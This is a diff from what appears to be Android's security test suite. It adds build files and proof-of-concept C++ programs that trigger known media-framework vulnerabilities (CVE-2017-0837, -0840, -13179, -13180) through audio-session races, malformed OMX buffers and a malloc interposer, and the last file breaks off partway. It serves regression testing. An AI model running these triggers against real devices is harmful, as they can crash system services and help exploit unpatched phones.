+ status_t err = omxUtilsInit((char*) "OMX.google.h264.encoder");
+ omxExitOnError(err);
+ atexit(exit_handler);
+
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, &def);
+
+ int inMemSize = def.nBufferCountActual * def.nBufferSize / 512;
+ int inBufferCnt = def.nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+
+ sp < MemoryDealer > dealerIn = new MemoryDealer(inMemSize);
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, &def);
+
+ int outMemSize = def.nBufferCountActual * def.nBufferSize;
+ int outBufferCnt = def.nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+
+ sp < MemoryDealer > dealerOut = new MemoryDealer(outMemSize);
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+
+ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers, inBufferSize);
+ for (i = 0; i < inBufferCnt; ++i) {
+ inBufferId[i] = inputBuffers[i].mID;
+ sp < android::hidl::memory::V1_0::IMemory > mem = mapMemory(
+ inputBuffers[i].mHidlMemory);
+ memset((void *) mem->getPointer(), 0xCF, inBufferSize);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mHidlMemory, &inBufferId[i]);
+ }
+
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers, outBufferSize);
+ for (i = 0; i < outBufferCnt; ++i) {
+ outBufferId[i] = outputBuffers[i].mID;
+ omxUtilsUseBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mHidlMemory, &outBufferId[i]);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+
+ for (i = 0; i < inBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+
+ for (i = 0; i < outBufferCnt; ++i) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+
+ omxUtilsFreeNode();
+ return;
+}
+#endif
+
+int main() {
+
+//This PoC is only for 32-bit builds.
+#if _32_BIT
+ time_t currentTime = start_timer();
+ while(timer_active(currentTime)) {
+ poc();
+ }
+#endif
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk
new file mode 100644
index 0000000..583cd6f
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/Android.mk
@@ -0,0 +1,33 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0837
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libutils
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libaudioclient
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
new file mode 100644
index 0000000..0231f66
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0837/poc.cpp
@@ -0,0 +1,117 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <binder/IServiceManager.h>
+#include <binder/IPCThreadState.h>
+#include <media/IAudioPolicyService.h>
+#include "../includes/common.h"
+
+using namespace android;
+
+#define MAX_NUMBER_OF_AUDIO_SESSIONS 1024
+#define MAX_NUMBER_OF_THREADS 5
+#define MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS 2
+#define SLEEP_TIME_IN_SECONDS 5
+
+struct pocAudioSessionCtxt {
+ sp<IAudioPolicyService> audioService;
+ audio_session_t audioSession[MAX_NUMBER_OF_AUDIO_SESSIONS];
+ volatile bool startThread;
+};
+
+static void* acquireSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *) arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ audio_io_handle_t ioHandle = 0;
+ audio_devices_t device = 0;
+ ctxt->audioService->acquireSoundTriggerSession(
+ &(ctxt->audioSession[++i]), &ioHandle, &device);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+static void* releaseSoundTriggerSessionThread(void *arg) {
+ int i = 0;
+ pocAudioSessionCtxt *ctxt = (pocAudioSessionCtxt *) arg;
+ if (!ctxt) {
+ return nullptr;
+ }
+ time_t currentTime = start_timer();
+ while (timer_active(currentTime)) {
+ if (ctxt->startThread == true && ctxt->audioService != nullptr) {
+ ctxt->audioService->releaseSoundTriggerSession(
+ ctxt->audioSession[++i]);
+ if (i >= MAX_NUMBER_OF_AUDIO_SESSIONS) {
+ i = 0;
+ }
+ }
+ }
+ return nullptr;
+}
+
+class MyDeathRecipient : public IBinder::DeathRecipient {
+ public:
+ MyDeathRecipient() {
+ }
+ virtual void binderDied(const wp<IBinder>& who __unused) {
+ exit(EXIT_SUCCESS);
+ }
+};
+
+int main() {
+ pocAudioSessionCtxt ctxt;
+ pthread_t thread[MAX_NUMBER_OF_THREADS];
+ ctxt.startThread = false;
+
+ for (int i = 0; i < MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS; ++i) {
+ pthread_create(&thread[i], nullptr, acquireSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ for (int i = MAX_NUMBER_OF_ACQUIRE_SESSION_THREADS;
+ i < MAX_NUMBER_OF_THREADS; ++i) {
+ pthread_create(&thread[i], nullptr, releaseSoundTriggerSessionThread,
+ &ctxt);
+ }
+
+ sp < IServiceManager > sm = defaultServiceManager();
+ sp < IBinder > binder = sm->getService(String16("media.audio_policy"));
+ if (!binder) {
+ return EXIT_FAILURE;
+ }
+ ctxt.audioService = interface_cast < IAudioPolicyService > (binder);
+ if (!ctxt.audioService) {
+ return EXIT_FAILURE;
+ }
+
+ sp<MyDeathRecipient> deathRecipient = new MyDeathRecipient();
+ binder->linkToDeath(deathRecipient);
+ ctxt.startThread = true;
+ for (int i = 0; i < MAX_NUMBER_OF_THREADS; ++i) {
+ pthread_join(thread[i], nullptr);
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk
new file mode 100644
index 0000000..99a876e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/Android.mk
@@ -0,0 +1,45 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-0840
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/omxUtils.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/
+LOCAL_C_INCLUDES += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES := libstagefright
+LOCAL_SHARED_LIBRARIES += libbinder
+LOCAL_SHARED_LIBRARIES += libmedia_omx
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += liblog
+LOCAL_SHARED_LIBRARIES += libui
+LOCAL_SHARED_LIBRARIES += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES += libcutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES += android.hidl.memory@1.0
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
new file mode 100644
index 0000000..d57a7f2
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-0840/poc.cpp
@@ -0,0 +1,123 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include "../includes/omxUtils.h"
+#define EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC 30
+extern int numCallbackEmptyBufferDone;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
+ auto transStatus = mAllocator->allocate(def.nBufferSize,
+ [&success, &buffer](
+ bool s,
+ hidl_memory const& m) {
+ success = s;
+ buffer.mHidlMemory = m;
+ });
+ omxExitOnError(!transStatus.isOk());
+ omxExitOnError(!success);
+ omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID);
+ buffers->push(buffer);
+ }
+ return OK;
+}
+int main() {
+ /* Initialize OMX for the specified codec */
+ status_t ret = omxUtilsInit((char *) "OMX.qcom.video.decoder.avc");
+ omxExitOnError(ret);
+ int allCallbacksReceivedEmptyBufferDone = 0;
+ /* Get OMX input port parameters */
+ OMX_PARAM_PORTDEFINITIONTYPE *params =
+ (OMX_PARAM_PORTDEFINITIONTYPE *) malloc(
+ sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_IP_PORT, params);
+ sp < GraphicBuffer > graphicbuffer = new GraphicBuffer(
+ params->format.video.nFrameWidth, params->format.video.nFrameHeight,
+ HAL_PIXEL_FORMAT_YV12,
+ android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER);
+ /* prepare input port buffers */
+ int inMemSize = params->nBufferCountActual * params->nBufferSize;
+ int inBufferCnt = params->nBufferCountActual;
+ int inBufferSize = inMemSize / inBufferCnt;
+ IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
+ Vector < Buffer > inputBuffers;
+ Vector < Buffer > outputBuffers;
+ /* Register input buffers with OMX component */
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(graphicbuffer);
+ omxUtilsUseBuffer(OMX_UTILS_IP_PORT, omxBuf, &inBufferId[i]);
+ }
+ /* Get OMX output port parameters */
+ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
+ omxUtilsGetParameter(OMX_UTILS_OP_PORT, params);
+ /* prepare output port buffers */
+ int outMemSize = params->nBufferCountActual * params->nBufferSize;
+ int outBufferCnt = params->nBufferCountActual;
+ int outBufferSize = outMemSize / outBufferCnt;
+ IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
+ /* Register output buffers with OMX component */
+ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers);
+ for (int i = 0; i < outBufferCnt; i++) {
+ outBufferId[i] = outputBuffers[i].mID;
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ /* Do OMX State change to Executing */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting);
+ for (int i = 0; i < inBufferCnt; i++) {
+ OMXBuffer omxBuf(0, inBufferSize);
+ omxUtilsEmptyBuffer(inBufferId[i], omxBuf, 0, 0, -1);
+ }
+ for (int i = 0; i < 1; i++) {
+ OMXBuffer omxBuf(0, outBufferSize);
+ omxUtilsFillBuffer(outBufferId[i], omxBuf, -1);
+ }
+ /* Do OMX State change to Idle */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle);
+ time_t currentTime = time(NULL);
+ time_t waitTimeInSeconds = EMPTY_BUFFER_DONE_CALLBACK_TIMEOUT_SEC;
+ time_t endTime = currentTime + waitTimeInSeconds;
+ while (currentTime < endTime) {
+ if (numCallbackEmptyBufferDone == inBufferCnt) {
+ allCallbacksReceivedEmptyBufferDone = 1;
+ break;
+ }
+ currentTime = time(NULL);
+ }
+ if (!allCallbacksReceivedEmptyBufferDone) {
+ ALOGE("Exiting the app");
+ exit (EXIT_FAILURE);
+ }
+ /* Do OMX State change to Loaded */
+ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded);
+ /* Free input and output buffers */
+ for (int i = 0; i < inBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inBufferId[i]);
+ }
+ for (int i = 0; i < outBufferCnt; i++) {
+ omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outBufferId[i]);
+ }
+ /* Free OMX resources */
+ omxUtilsFreeNode();
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
new file mode 100644
index 0000000..0dcf8b8
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/Android.mk
@@ -0,0 +1,41 @@
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13179
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := 32
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_C_INCLUDES := external/libhevc/common
+LOCAL_C_INCLUDES += external/libhevc/decoder
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/omx/include/media/stagefright/omx
+LOCAL_C_INCLUDES += frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES += frameworks/av/media/libstagefright/codecs/hevcdec
+LOCAL_C_INCLUDES += system/libhidl/transport/token/1.0/utils/include
+LOCAL_SHARED_LIBRARIES := liblog
+LOCAL_SHARED_LIBRARIES += libstagefright_soft_hevcdec
+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libhidlbase
+LOCAL_SHARED_LIBRARIES += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -Wno-unused-variable -DMAX_WINDOW_SIZE=1048576
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
new file mode 100644
index 0000000..dae2e9a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13179/poc.cpp
@@ -0,0 +1,228 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdio.h>
+#include <dirent.h>
+#include <dlfcn.h>
+#include <signal.h>
+#include <SoftOMXPlugin.h>
+#include <SoftOMXComponent.h>
+#include "ihevc_typedefs.h"
+#include "iv.h"
+#include "ivd.h"
+#include "SoftHEVC.h"
+#include "ihevc_buf_mgr.h"
+#define LIBNAME "/system/lib/libstagefright_soft_hevcdec.so"
+#define LIBNAME_VNDK "/system/lib/vndk-28/libstagefright_soft_hevcdec.so"
+#define MAX_ENTRIES (1024)
+
+#define DISABLE_MEM_ACCESS(mem, size)\
+ mprotect((char *) mem, size, PROT_NONE);
+
+#define ENABLE_MEM_ACCESS(mem, size)\
+ mprotect((char *) mem, size, PROT_READ | PROT_WRITE);
+
+typedef struct _map_struct_t {
+ void *start_ptr;
+ void *mem_ptr;
+ int num_pages;
+ size_t mem_size;
+} map_struct_t;
+
+static void* (*real_memalign)(size_t, size_t) = NULL;
+static void (*real_free)(void *) = NULL;
+static int s_memutils_initialized = 0;
+static int s_mem_map_index = 0;
+static int s_free_write_index = 0;
+static int s_free_read_index = 0;
+static int s_free_list_size = 0;
+static struct sigaction new_sa, old_sa;
+map_struct_t s_mem_map[MAX_ENTRIES];
+map_struct_t s_free_list[MAX_ENTRIES];
+
+void exit_handler(void) {
+ size_t page_size = getpagesize();
+ for (int i = 0; i < s_mem_map_index; i++) {
+ if (NULL != s_mem_map[i].start_ptr) {
+ ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+ (s_mem_map[i].num_pages * page_size));
+ }
+ }
+ for (int i = 0; i < MAX_ENTRIES; i++) {
+ if (NULL != s_free_list[i].start_ptr) {
+ ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+ (s_free_list[i].num_pages * page_size));
+ real_free(s_free_list[i].start_ptr);
+ memset(&s_free_list[i], 0, sizeof(map_struct_t));
+ }
+ }
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ exit_handler();
+ (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+ sigemptyset(&new_sa.sa_mask);
+ new_sa.sa_flags = SA_SIGINFO;
+ new_sa.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+ real_memalign = (void *(*)(size_t, size_t))dlsym(RTLD_NEXT, "memalign");
+ if (NULL == real_memalign) {
+ return;
+ }
+ real_free = (void (*)(void *))dlsym(RTLD_NEXT, "free");
+ if (NULL == real_free) {
+ return;
+ }
+ memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+ sighandler_init();
+ atexit(exit_handler);
+ s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+
+ if (size == sizeof(buf_mgr_t)) {
+ return NULL;
+ }
+
+ char* start_ptr;
+ char* mem_ptr;
+ size_t total_size;
+ size_t aligned_size = size;
+ size_t new_alignment = sizeof(size_t);
+ size_t no_of_pages;
+ size_t page_size = getpagesize();
+
+ if (s_mem_map_index == MAX_ENTRIES) {
+ return real_memalign(alignment, size);
+ }
+
+ if (alignment > page_size) {
+ return real_memalign(alignment, size);
+ }
+
+ if ((0 == page_size) || (0 == alignment) || (0 == size)
+ || (0 == new_alignment)) {
+ return real_memalign(alignment, size);
+ }
+
+ if (0 != (size % new_alignment)) {
+ aligned_size = size + (new_alignment - (size % new_alignment));
+ }
+
+ if (0 != (aligned_size % page_size)) {
+ no_of_pages = (aligned_size / page_size) + 2;
+ } else {
+ no_of_pages = (aligned_size / page_size) + 1;
+ }
+
+ total_size = (no_of_pages * page_size);
+ start_ptr = (char *) real_memalign(page_size, total_size);
+ mem_ptr = (char *) start_ptr + ((no_of_pages - 1) * page_size)
+ - aligned_size;
+ DISABLE_MEM_ACCESS((start_ptr + ((no_of_pages - 1) * page_size)), page_size);
+ s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+ s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+ s_mem_map[s_mem_map_index].num_pages = no_of_pages;
+ s_mem_map[s_mem_map_index].mem_size = size;
+ s_mem_map_index++;
+ return mem_ptr;
+}
+
+void free(void *ptr) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+ if (ptr != NULL) {
+ int i = 0;
+ size_t page_size = getpagesize();
+ for (i = 0; i < s_mem_map_index; i++) {
+ if (ptr == s_mem_map[i].mem_ptr) {
+ s_free_list[s_free_write_index].start_ptr = s_mem_map[i]
+ .start_ptr;
+ s_free_list[s_free_write_index].mem_ptr = s_mem_map[i].mem_ptr;
+ s_free_list[s_free_write_index].num_pages = s_mem_map[i]
+ .num_pages;
+ s_free_list[s_free_write_index].mem_size =
+ s_mem_map[i].mem_size;
+ s_free_write_index++;
+ s_free_list_size += s_mem_map[i].mem_size;
+ DISABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+ (s_mem_map[i].num_pages * page_size));
+ memset(&s_mem_map[i], 0, sizeof(map_struct_t));
+ while (s_free_list_size > MAX_WINDOW_SIZE) {
+ ENABLE_MEM_ACCESS(
+ s_free_list[s_free_read_index].start_ptr,
+ (s_free_list[s_free_read_index].num_pages
+ * page_size));
+ real_free(s_free_list[s_free_read_index].start_ptr);
+ s_free_list_size -= s_free_list[s_free_read_index].mem_size;
+ memset(&s_free_list[s_free_read_index], 0,
+ sizeof(map_struct_t));
+ s_free_read_index++;
+ if ((s_free_read_index == MAX_ENTRIES)
+ || (s_free_read_index >= s_free_write_index)) {
+ break;
+ }
+ }
+ return;
+ }
+ }
+ }
+ real_free(ptr);
+ return;
+}
+
+using namespace android;
+
+typedef SoftOMXComponent *(*CreateSoftOMXComponentFunc)(
+ const char *, const OMX_CALLBACKTYPE *, OMX_PTR, OMX_COMPONENTTYPE **);
+
+int main(void) {
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (libHandle == NULL) {
+ return EXIT_FAILURE;
+ }
+
+ CreateSoftOMXComponentFunc createSoftOMXComponent =
+ (CreateSoftOMXComponentFunc) dlsym(
+ libHandle,
+ "_Z22createSoftOMXComponentPKcPK16OMX_CALLBACKTYPE"
+ "PvPP17OMX_COMPONENTTYPE");
+
+ if (createSoftOMXComponent == NULL) {
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ OMX_COMPONENTTYPE *component = NULL;
+ SoftHEVC* codec = (SoftHEVC*) (*createSoftOMXComponent)(
+ "OMX.google.hevc.decoder", NULL, NULL, &component);
+
+ dlclose(libHandle);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk
new file mode 100644
index 0000000..311b082
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/Android.mk
@@ -0,0 +1,44 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2017-13180
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES_32 := ../includes/omxUtils.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_32 := frameworks/native/include/media/openmax
+LOCAL_C_INCLUDES_32 += frameworks/native/include/media/hardware/
+LOCAL_SHARED_LIBRARIES_32 := liblog
+LOCAL_SHARED_LIBRARIES_32 += libbinder
+LOCAL_SHARED_LIBRARIES_32 += libstagefright
+LOCAL_SHARED_LIBRARIES_32 += libstagefright_foundation
+LOCAL_SHARED_LIBRARIES_32 += libutils
+LOCAL_SHARED_LIBRARIES_32 += libmedia_omx
+LOCAL_SHARED_LIBRARIES_32 += libcutils
+LOCAL_SHARED_LIBRARIES_32 += libhidlbase
+LOCAL_SHARED_LIBRARIES_32 += libhidlmemory
+LOCAL_SHARED_LIBRARIES_32 += android.hidl.allocator@1.0
+LOCAL_SHARED_LIBRARIES_32 += android.hardware.media.omx@1.0
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
new file mode 100644
index 0000000..d163023
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2017-13180/poc.cpp
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 32-bit builds
+#if _32_BIT
+#include "../includes/omxUtils.h"
+#define TIMESTAMP_US 0x00010001
+
+extern bool mUseTreble;
+sp<IAllocator> mAllocator = IAllocator::getService("ashmem");
+
+int allocateHidlPortBuffers(OMX_U32 portIndex, Vector<Buffer> *buffers) {
+ buffers->clear();
+ OMX_PARAM_PORTDEFINITIONTYPE def;
+ int err = omxUtilsGetParameter(portIndex, &def);
+ omxExitOnError(err);
+
+ for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) {
+ Buffer buffer;
+ buffer.mFlags = 0;
+ bool success;
